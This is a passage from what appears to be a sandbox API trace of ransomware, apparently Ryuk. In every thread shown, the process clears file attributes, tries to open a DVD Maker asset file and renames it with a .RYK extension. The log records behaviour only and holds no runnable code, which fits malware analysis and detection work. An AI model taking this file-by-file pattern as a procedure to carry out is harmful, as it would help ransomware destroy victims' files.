	[0170.743] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF.RYK" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 681
	os_tid = 0x1174

	[0170.744] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh", dwFileAttributes=0x80) returned 0
	[0170.890] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 682
	os_tid = 0x1178

	[0170.746] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png", dwFileAttributes=0x80) returned 0
	[0170.891] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.892] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 683
	os_tid = 0x117c

	[0170.894] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png", dwFileAttributes=0x80) returned 0
	[0170.894] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0170.894] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0170.894] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 685
	os_tid = 0x1188

	[0171.649] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0171.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.848] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 686
	os_tid = 0x118c

	[0171.650] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0171.850] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.850] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 687
	os_tid = 0x1190

	[0171.652] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0171.852] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.852] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.853] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 688
	os_tid = 0x1194

	[0171.654] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png", dwFileAttributes=0x80) returned 0
	[0171.854] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 689
	os_tid = 0x1198

	[0171.656] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0171.858] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.859] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 690
	os_tid = 0x119c

	[0171.657] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0171.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.860] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 691
	os_tid = 0x11a0

	[0171.862] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", dwFileAttributes=0x80) returned 0
	[0172.124] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.349] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 692
	os_tid = 0x11a4

	[0171.867] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv", dwFileAttributes=0x80) returned 0
	[0172.124] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 693
	os_tid = 0x11a8

	[0171.868] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0172.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 694
	os_tid = 0x11ac

	[0171.869] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0172.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 695
	os_tid = 0x11b0

	[0171.871] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0172.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.342] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 696
	os_tid = 0x11b4

	[0171.872] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0172.126] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 697
	os_tid = 0x11b8

	[0171.874] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0172.126] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 698
	os_tid = 0x11bc

	[0171.875] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0172.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.337] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 699
	os_tid = 0x11c0

	[0171.876] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0172.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 700
	os_tid = 0x11c4

	[0172.130] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0172.351] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 701
	os_tid = 0x11c8

	[0172.132] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0172.352] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 702
	os_tid = 0x11cc

	[0172.134] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG", dwFileAttributes=0x80) returned 0
	[0172.352] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.353] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 703
	os_tid = 0x11d0

	[0172.135] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0172.136] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.137] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.137] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 704
	os_tid = 0x11d4

	[0172.139] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png", dwFileAttributes=0x80) returned 0
	[0172.140] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.140] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 705
	os_tid = 0x11d8

	[0172.142] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png", dwFileAttributes=0x80) returned 0
